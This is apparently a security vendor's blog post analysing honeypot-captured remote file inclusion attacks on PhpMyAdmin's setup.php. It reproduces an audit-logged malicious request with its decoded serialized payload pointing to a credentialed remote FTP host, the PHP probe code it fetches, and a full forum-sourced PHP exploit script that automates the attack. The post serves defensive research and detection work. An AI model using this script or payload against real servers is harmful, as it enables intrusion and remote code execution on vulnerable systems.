[Honeypot Alert] PhpMyAdmin setup.php RFI Attacks Detected

SpiderLabs is the corporate sponsor of the WASC Distributed Web Honeypots Project which is an awesome research project to identify automated web attacks. I was looking in our central ModSecurity AuditConsole logging host today and I noticed a spike in traffic from some Russian IPs that were scanning for the PMASA-2010-4 vulnerability in the PhpMyAdmin setup.php script.

Screen shot 2012-04-20 at 3.02.42 PM

Let's look at the raw ModSecurity audit log data of the inbound request:

--4064df0e-A--[10/Apr/2012:18:05:55 +0000] T4R2gwowybkAAHp9G@sAAAAF 212.24.61.167 38767 XXX.XXX.XXX.XXX 80--4064df0e-B--POST /pma/scripts/setup.php HTTP/1.1Connection: closeHost: 176.34.207.219Referer: 176.34.207.219User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]Content-Type: application/x-www-form-urlencodedContent-Length: 238--4064df0e-C--action=lay_navigation&eoltype=unix&token=&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A55%3A%22ftp%3A%2F%2Fthewinecompany%3AgXNbUEwfLa%4046%2E32%2E228%2E222%2F%2Ea%2Fid%2Etxt%22%3B%7D%7D

If we URL decode the request body data, we get this:

action=lay_navigation&eoltype=unix&token=&configuration=a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:55:"ftp://thewinecompany:gXNbUEwfLa@46.32.228.222/.a/id.txt";}}

As you can see, the attacker is attempting overwrite the PhpMyAdmin configuration file by instructing it to use FTP to download and run the "id.txt" file on a remote site. The contents of the id.txt file is PHP code:

<?phpprint(base64_decode("c3Q0cjc="));echo(php_uname());print(base64_decode("ZjFuMTVo"));die;?>

Looking at what this file is doing, it appears to be a simple probe to identify if the target web application is vulnerable to this type of RFI attack. If the application responds with the output from these PHP commands, then the attacker will proceed with other attacks. SpiderLabs Research was able to find the following script in public forums that launch similar attacks:

/* wtf zmeu was here haha,yeah me... found this sh*t bug on pmasux */
$arguments = getopt("a:b:c");

$pma_setup_url = $arguments[a];
//echo $arguments[a];
$ftp_code = 'ftp://devil:devil@85.10.138.51/c.txt';

//$method = POST|GET, $url = http://site.com/path, $data = foo1=bar1&foo2=bar2, referer, cookie, useragent
function send_data($method, $url, $data = '', $referer_string = '', $cookie_string = '', $ua_string = '')
{
$return = '';
$feof_count = 0;
$parsed_url = parse_url($url);
$site = $parsed_url;
$path = $parsed_url;
$query = $parsed_url;

($method == 'GET' && !empty($data)) ? $path .= '?'.$data : '';
($method == 'POST' && !empty($query)) ? $path .= '?'.$query : '';

$fp = fsockopen($site, 80, $errno, $errstr, 30);
($method == 'POST') ? $out = "POST $path HTTP/1.1\r\n" : $out = "GET $path HTTP/1.1\r\n";
$out .= "Host: $site\r\n";
$out .= "Content-type: application/x-www-form-urlencoded\r\n";
$out .= "Connection: Close\r\n";
$out .= "User-Agent: $ua_string\r\n";
$out .= "Referer: $referer_string\r\n";
$out .= "Cookie: $cookie_string\r\n";
($method == 'POST') ? $out .= "Content-Length: ".strlen($data)."\r\n\r\n" : $out .= "\r\n";
($method == 'POST') ? fwrite($fp, $out.$data) : fwrite($fp, $out);

while (!feof($fp))
{
if($feof_count >=200)
break;

$return .= fread($fp, 4800);
++$feof_count;
}

fclose($fp);
return $return;
}

$token_page = send_data('GET',$pma_setup_url,'',$pma_setup_url,'','Opera');

preg_match('@name="token" value="(a-f0-9{32})"@is',$token_page,$token_array);

$token = $token_array[1];

preg_match_all('@Set-Cookie: (^\r\n;+)@is',$token_page,$cookie_array);

$cookie_array = $cookie_array[1];
$cookie_array = implode("; ",$cookie_array);

print
send_data('POST',$pma_setup_url,'action=lay_navigation&eoltype=unix&token='.$token.'&configuration='.urlencode('a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:'.strlen($ftp_code).':"'.$ftp_code.'";}}'),$pma_setup_url,$cookie_array,'Opera');

This issue was patched in the php source code with the following update:

Screen shot 2012-04-20 at 3.38.20 PM
By filtering out non-word characters, it would prevent the attacker from injecting the RFI code.

Trustwave reserves the right to review all comments in the discussion below. Please note that for security and other reasons, we may not approve comments containing links.